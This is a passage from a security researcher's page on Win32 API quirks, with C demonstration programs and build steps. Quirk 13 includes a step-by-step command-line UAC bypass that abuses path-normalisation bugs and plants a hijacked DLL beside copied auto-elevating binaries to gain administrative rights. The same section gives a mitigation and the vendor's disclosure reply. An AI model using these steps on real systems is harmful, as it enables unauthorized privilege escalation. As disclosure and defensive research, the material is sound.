    		dwBuffer = GetFullPathName(L"Quirk13 \\.", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		dwBuffer = GetLongPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #else
    		dwBuffer = GetLongPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetLongPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetLongPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		dwBuffer = GetShortPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #else
    		dwBuffer = GetShortPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetShortPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetShortPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk13.exe from the source file quirk13.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk13.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk13.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk13.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk13.exe
    quirk13.obj
  3. Execute the console application quirk13.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk13.exe
    MKDIR "Quirk13 \"
    .\quirk13.exe
    RMDIR "Quirk13 \"
    MKDIR Quirk13
    .\quirk13.exe
    RMDIR Quirk13
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    FindFirstFile() returned error 3
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned error 2
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned error 2
    GetShortPathName() returned error 2
    FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010
    FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned error 2
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned error 2
    GetShortPathName() returned error 2
    FindFirstFile() returned error 3
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned filename 'Quirk13' with alternate (8.3) filename '' and attributes 0x00000010
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned pathname 'Quirk13\.' of 9 characters
    GetShortPathName() returned pathname 'Quirk13 \.' of 10 characters
    OUCH¹: the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() misinterpret the directory name …\Quirk13 \. as …\Quirk13!

    OUCH²: contrary to its documentation cited above, the Win32 function FindFirstFile() does not return INVALID_HANDLE_VALUE with Win32 error 2 alias ERROR_FILE_NOT_FOUND set if the (empty) directory …\Quirk13 \ exists!

    OUCH³: contrary to their documentation cited above, the Win32 functions GetLongPathName() and GetShortPathName() do not return zero with Win32 error 3 alias ERROR_PATH_NOT_FOUND set if the directory …\Quirk13\ exists!

    OUCH⁴: the Win32 function GetShortPathName() returns the not existing (relative) pathname Quirk13 \. if the directory …\Quirk13\ exists!

Note: evaluation of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing dots followed by one or more spaces, i.e. a file extension containing only spaces, is left as an exercise to the reader.

Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The Win32 functions GetFullPathName() and GetLongPathName() are used (direct and indirect) by the security theatre UAC to verify two of the three conditions for auto-elevation of applications: They are also used by SAFER alias Software Restriction Policies to evaluate path rules.

Exploit

Log on to the user account created during Windows Setup and start the Command Processor unelevated, then perform the following 11 steps to exploit the bugs demonstrated above and show a UAC bypass including arbitrary code execution with administrative privileges and access rights.

Note: the command lines can be copied and pasted as blocks into a Command Processor window!

Steps 1. to 8. show the normal, intended and expected behaviour, steps 9 and 10. exploit the bugs, and step 11. cleans up.

  1. Execute KTMUtil.exe to verify that the Command Processor runs without administrative privileges and access rights.

    CHDIR /D "%SystemRoot%"
    System32\KTMUtil.exe
    The KTMUTIL utility requires that you have administrative privileges.
  2. [Screen shot of 'User Accounts' dialog] Load and execute NetPlWiz.dll to display the User Accounts dialog box:

    START /WAIT System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
    Note: the TechNet article PassportWizardRunDll documents another (now removed) function of NetPlWiz.dll that is was supposed to be called this way too.
  3. [Screen shot of 'Printer Settings' dialog] Load and execute PrintUI.dll to display a dialog box with the usage instructions of its PrintUIEntry() function, as documented in the TechNet article Rundll32 printui.dll,PrintUIEntry:

    START /WAIT System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?

  4. [Screen shot of error message for error 1114 alias ERROR_DLL_INIT_FAILED] Load and execute ShUnimpl.dll to let RunDLL32.exe display an error message box:

    START /WAIT System32\RunDLL32.exe System32\ShUnimpl.dll,#0
    Note: ShUnimpl.dll is the graveyard for obsolete and now unimplemented functions of Windows’ shell from prior versions of Windows NT; to inhibit their use, its _DllMainCRTStartup() entry point function intentionally returns FALSE and lets the Win32 function LoadLibrary() fail with Win32 error code 1114 alias ERROR_DLL_INIT_FAILED.
  5. Execute MMC.exe to trigger a (blue) UAC prompt that shows Verified Publisher: Microsoft Windows:

    START /WAIT System32\MMC.exe
    Note: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
  6. Execute the auto-elevating PrintUI.exe to load PrintUI.dll and display its Printer Settings dialog box without triggering a UAC prompt:

    START /WAIT System32\NetPlWiz.exe
  7. Execute the auto-elevating NetPlWiz.exe to load NetPlWiz.dll and display its User Accounts dialog box without triggering a UAC prompt:

    START /WAIT System32\PrintUI.exe
  8. Copy MMC.exe, NetPlWiz.exe and PrintUI.exe into an (arbitrary) subdirectory of the systems’ TEMP directory %SystemRoot%\Temp\, then execute these copies to trigger a (now yellow) UAC prompt that shows Publisher: Unknown:

    MKDIR Temp\Example
    COPY System32\MMC.exe Temp\Example\MMC.exe
    START /WAIT Temp\Example\MMC.exe
    COPY System32\NetPlWiz.exe Temp\Example\NetPlWiz.exe
    START /WAIT Temp\Example\NetPlWiz.exe
    COPY System32\PrintUI.exe Temp\Example\PrintUI.exe
    START /WAIT Temp\Example\PrintUI.exe
    RMDIR /Q /S Temp\Example
    Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate catalog files %SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat, %SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat and %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat; an index of the signatures’ hashes is maintained in the catalog databases %SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb, %SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb and %SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.

    (Not only) UAC validates these detached digital signatures independent of the actual filename, and with some exceptions, for example in an untrusted directory like %SystemRoot%\Temp\, also independent of the actual pathname.

  9. Create the directory Windows \ in the root directory of the system drive, copy MMC.exe, NetPlWiz.exe and PrintUI.exe into it, execute the copy of MMC.exe to trigger a (blue) UAC prompt that shows Publisher: Unknown, then execute NetPlWiz.exe and PrintUI.exe to load NetPlWiz.dll and PrintUI.dll which display their dialog boxes without triggering a UAC prompt:

    MKDIR "%SystemRoot% \"
    COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
    START "Oops!" /WAIT "%SystemRoot% \MMC.exe"
    COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
    START "Ouch!" /WAIT "%SystemRoot% \NetPlWiz.exe"
    COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
    START "Ouch!" /WAIT "%SystemRoot% \PrintUI.exe"
    Ouch: due to the bugs in the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() demonstrated above, UAC misidentifies %SystemRoot% \ as trusted directory and performs auto-elevation!

    Note: UAC exhibits this vulnerability (at least) in the directories
    %SystemRoot% \,
    %SystemRoot% .\,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \.

  10. [Screen shot of error message for NTSTATUS 0xC0000139 alias STATUS_ENTRYPOINT_NOT_FOUND] Copy ShUnimpl.dll as NetPlWiz.dll and PrintUI.dll into the directory Windows \, then execute the copies of the auto-elevating NetPlWiz.exe and PrintUI.exe again:

    COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
    START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
    System32\CertUtil.exe /ERROR %ERRORLEVEL%
    COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
    START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
    ECHO %ERRORLEVEL%
    System32\Net.exe HELPMSG %ERRORLEVEL%
            1 file(s) copied.
    0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
    Error message text: {Entry Point Not Found}
    The procedure entry point %hs could not be located in the dynamic link library %hs.
    CertUtil: -error command completed successfully.
            1 file(s) copied.
    1114
    
    A dynamic link library (DLL) initialization routine failed.
    OUCH: (like almost all applications shipped with Windows) NetPlWiz.exe and PrintUI.exe are vulnerable to CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, and susceptible to CAPEC-471: Search Order Hijacking; they load (at least) an arbitrary (unsigned) NetPlWiz.dll respectively PrintUI.dll from their (untrusted and user-writable) application directory %SystemRoot% \ instead from Windowssystem directory %SystemRoot%\System32\, allowing arbitrary code execution with administrative privileges and access rights!

    Note: if Microsoft’s developers were not so careless, clueless and sloppy, their quality miserability assurance not sound asleep, and their managers not completely incompetent and ignorant, they would have read for example the MSRC blog post Load Library Safely, the MSKB articles 2389418 and 2533623, the Security Advisory 2269637, the MSDN articles Dynamic-Link Library Security and Dynamic-Link Library Search Order, then exercised defense in depth and fixed their crap long ago to inhibit such attacks!

    Note: NetPlWiz.dll is a static (load-time) dependency of NetPlWiz.exe, and PrintUI.dll is a run-time dependency of PrintUI.exe.

    Note: building a DLL that loads and executes arbitrary code is left as an exercise to the reader.

  11. Clean up:

    RMDIR /Q /S "%SystemRoot% \"
    EXIT

Mitigation

Remove the permission for unprivileged users (really: members of the NT AUTHORITY\Authenticated Users or BUILTIN\Users groups) to create subdirectories in the root directory of the system drive:
ICACLs.exe %SystemDrive%\ /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11

MSRC Case 64465

Due their security impact I reported these bugs to the MSRC, where case number 64465 was assigned.

They replied with the following statements:

Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.

[…]

Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.

I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.

Ouch¹: the exploit works without administrator privileges!

Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!

Ouch³: even if Jane and Joe Average create and use a secondary (unprivileged) standard user account they might very likely be fooled by the blue UAC prompt that shows Verified Publisher: Microsoft Windows.

Note: UAC (and SAFER alias Software Restriction Policies too) is the victim here; the vulnerability results from bugs in the Win32 functions GetFullPathName(), GetLongPathName() and GetShortPathName() together with insecure loading of DLLs!

Quirk № 14

The Win32 functions GetDateFormat(), GetTimeFormat(), GetDateFormatEx() and GetTimeFormatEx() are documented in the MSDN as follows:
int GetDateFormat(
  LCID             Locale,
  DWORD            dwFlags,
  const SYSTEMTIME *lpDate,
  LPCTSTR          lpFormat,
  LPTSTR           lpDateStr,
  int              cchDate
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

The function returns 0 if it does not succeed. […]

int GetTimeFormat(
  LCID             Locale,
  DWORD            dwFlags,
  const SYSTEMTIME *lpTime,
  LPCTSTR          lpFormat,
  LPTSTR           lpTimeStr,
  int              cchTime
);
[…]

Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

int GetDateFormatEx(
  LPCTSTR          lpLocaleName,
  DWORD            dwFlags,
  const SYSTEMTIME *lpDate,
  LPCTSTR          lpFormat,
  LPTSTR           lpDateStr,
  int              cchDate,
  LPCTSTR          lpCalendar
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

This function returns 0 if it does not succeed. […]

int GetTimeFormatEx(
  LPCTSTR          lpLocaleName,
  DWORD            dwFlags,
  const SYSTEMTIME *lpTime,
  LPCTSTR          lpFormat,
  LPTSTR           lpTimeStr,
  int              cchTime
);
[…]

Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

Win32 functions which write a character string to a buffer typically return the number of characters except the terminating NUL character, even if not stated explicitly.
The four functions named above but return the number of characters including the terminating NUL character, without explicitly stating their unusual behaviour.

Note: examination of the (mis)behaviour of the Win32 functions GetCalendarInfo(), GetCalendarInfoEx(), GetCurrencyFormat(), GetCurrencyFormatEx(), GetLocaleInfo(), GetLocaleInfoEx(), GetNumberFormat() and GetNumberFormatEx() is left as an exercise to the reader.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk14.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	SYSTEMTIME	st;
    
    	INT	nDate, nTime, nSize;
    	LPWSTR	lpDate, lpTime;
    	WCHAR	szDate[] = L"MM/dd/yyyy";
    	WCHAR	szTime[] = L"HH:mm:ss";
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		GetSystemTime(&st);
    
    		nDate = GetDateFormat(LOCALE_INVARIANT,
    		                      0,
    		                      &st,
    		                      szDate,
    		                      szDate,
    		                      sizeof(szDate) / sizeof(*szDate));
    
    		if (nDate == 0)
    			PrintConsole(hConsole,
    			             L"GetDateFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			nSize = lstrlen(szDate);
    
    			if (nSize != nDate)
    				PrintConsole(hConsole,
    				             L"GetDateFormat() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szDate, nDate, nSize);
    		}
    
    		nTime = GetTimeFormat(LOCALE_INVARIANT,
    		                      0,
    		                      &st,
    		                      szTime,
    		                      szTime,
    		                      sizeof(szTime) / sizeof(*szTime));
    
    		if (nTime == 0)
    			PrintConsole(hConsole,
    			             L"GetTimeFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			nSize = lstrlen(szTime);
    
    			if (nSize != nTime)
    				PrintConsole(hConsole,
    				             L"GetTimeFormat() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szTime, nTime, nSize);
    		}
    
    		nSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    		                        DATE_LONGDATE,
    		                        &st,
    		                        (LPCWSTR) NULL,
    		                        (LPWSTR) NULL,
    		                        0,
    		                        (LPCWSTR) NULL);
    
    		if (nSize == 0)
    			PrintConsole(hConsole,
    			             L"GetDateFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpDate = LocalAlloc(LPTR, nSize * sizeof(*lpDate));
    
    			if (lpDate == NULL)
    				PrintConsole(hConsole,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				nDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    				                        DATE_LONGDATE,
    				                        &st,
    				                        (LPCWSTR) NULL,
    				                        lpDate,
    				                        nSize,
    				                        (LPCWSTR) NULL);
    
    				if (nDate == 0)
    					PrintConsole(hConsole,
    					             L"GetDateFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (nDate != nSize - 1)
    						PrintConsole(hConsole,
    						             L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpDate, nDate, lstrlen(lpDate));
    
    				if (LocalFree(lpDate) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		nSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    		                        TIME_FORCE24HOURFORMAT,
    		                        &st,
    		                        (LPCWSTR) NULL,
    		                        (LPWSTR) NULL,
    		                        0);
    
    		if (nSize == 0)
    			PrintConsole(hConsole,
    			             L"GetTimeFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpTime = LocalAlloc(LPTR, nSize * sizeof(*lpTime));
    
    			if (lpTime == NULL)
    				PrintConsole(hConsole,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				nTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    				                        TIME_FORCE24HOURFORMAT,
    				                        &st,
    				                        (LPCWSTR) NULL,
    				                        lpTime,
    				                        nSize);
    
    				if (nTime == 0)
    					PrintConsole(hConsole,
    					             L"GetTimeFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (nTime != nSize - 1)
    						PrintConsole(hConsole,
    						             L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpTime, nTime, lstrlen(lpTime));
    
    				if (LocalFree(lpTime) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk14.exe from the source file quirk14.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk14.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk14.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk14.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk14.exe
    quirk14.obj
  3. Execute the console application quirk14.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk14.exe
    GetDateFormat() returned date '08/15/2020' of 11 characters, but real string length is 10 characters
    GetTimeFormat() returned time '12:34:56' of 9 characters, but real string length is 8 characters
    GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but real string length is 24 characters
    GetTimeFormatEx() returned time '12:34:56' of 9 characters, but real string length is 8 characters
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 15

The Win32 functions GetDefaultPrinter(), GetPrinterDriverDirectory() and GetPrintProcessorDirectory() are documented in the MSDN as follows:
BOOL GetDefaultPrinter(
  LPTSTR  pszBuffer,
  LPDWORD pcchBuffer
);
[…]
pszBuffer
A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
[…]

If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.

If the function fails, the return value is zero.

Value Meaning
ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters.
ERROR_FILE_NOT_FOUND There is no default printer.
Oops: the documentation does not state explicitly that extended error information is available through a call of the GetLastError() function!
BOOL GetPrinterDriverDirectory(
  LPTSTR  pName,
  LPTSTR  pEnvironment,
  DWORD   Level,
  LPBYTE  pDriverDirectory,
  DWORD   cbBuf,
  LPDWORD pcbNeeded
);
[…]
pEnvironment
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
pcbNeeded
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
[…]
Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI)
Ouch: although the Win32 function GetPrinterDriverDirectory() is provided for Unicode and ANSI, its output buffer is declared as array of bytes instead array of characters, and the size is counted in bytes instead characters!
BOOL GetPrintProcessorDirectory(
  LPTSTR  pName,
  LPTSTR  pEnvironment,
  DWORD   Level,
  LPBYTE  pPrintProcessorInfo,
  DWORD   cbBuf,
  LPDWORD pcbNeeded
);
[…]
pEnvironment
A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
pcbNeeded
A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
[…]

If the function succeeds, the return value is a nonzero value.

If the function fails, the return value is zero.

[…]

Requirement Value
[…]
Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI)
Ouch: although the Win32 function GetPrintProcessorDirectory() is provided for Unicode and ANSI, its output buffer is declared as array of bytes instead array of characters, and the size is counted in bytes instead characters!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk15.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <winspool.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	lpEnvironment[] = {L"", L"Windows 4.0", L"Windows NT x86", L"Windows IA64", L"Windows x64", L"Windows x86"};
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer = sizeof(szBuffer) / sizeof(*szBuffer);
    	DWORD	dw;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!GetDefaultPrinter(szBuffer, &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetDefaultPrinter() returned error %lu (%lu)\n",
    			             dwError = GetLastError(), dwBuffer);
    		else
    			PrintConsole(hConsole,
    			             L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    		if (!GetPrinterDriverDirectory((LPCWSTR) NULL,
    		                               (LPCWSTR) NULL,
    		                               1,
    		                               szBuffer,
    		                               0,
    		                               &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetPrinterDriverDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBuffer, dwBuffer);
    
    		for (dw = 0; dw < sizeof(lpEnvironment) / sizeof(*lpEnvironment); dw++)
    			if (!GetPrinterDriverDirectory((LPCWSTR) NULL,
    			                               lpEnvironment[dw],
    			                               1,
    			                               szBuffer,
    			                               sizeof(szBuffer),
    			                               &dwBuffer))
    				PrintConsole(hConsole,
    				             L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dw]);
    			else
    				PrintConsole(hConsole,
    				             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBuffer, dwBuffer, lpEnvironment[dw]);
    
    		if (!GetPrintProcessorDirectory((LPCWSTR) NULL,
    		                                (LPCWSTR) NULL,
    		                                1,
    		                                NULL,
    		                                sizeof(szBuffer),
    		                                &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetPrintProcessorDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
    			             szBuffer, dwBuffer);
    
    		for (dw = 0; dw < sizeof(lpEnvironment) / sizeof(*lpEnvironment); dw++)
    			if (!GetPrintProcessorDirectory((LPCWSTR) NULL,
    			                                lpEnvironment[dw],
    			                                1,
    			                                szBuffer,
    			                                sizeof(szBuffer),
    			                                &dwBuffer))
    				PrintConsole(hConsole,
    				             L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
    				             dwError = GetLastError(), lpEnvironment[dw]);
    			else
    				PrintConsole(hConsole,
    				             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
    				             szBuffer, dwBuffer, lpEnvironment[dw]);
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk15.exe from the source file quirk15.c created in step 1.:

    SET CL=/GAFy /W4 /wd4090 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:WINSPOOL.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk15.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk15.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
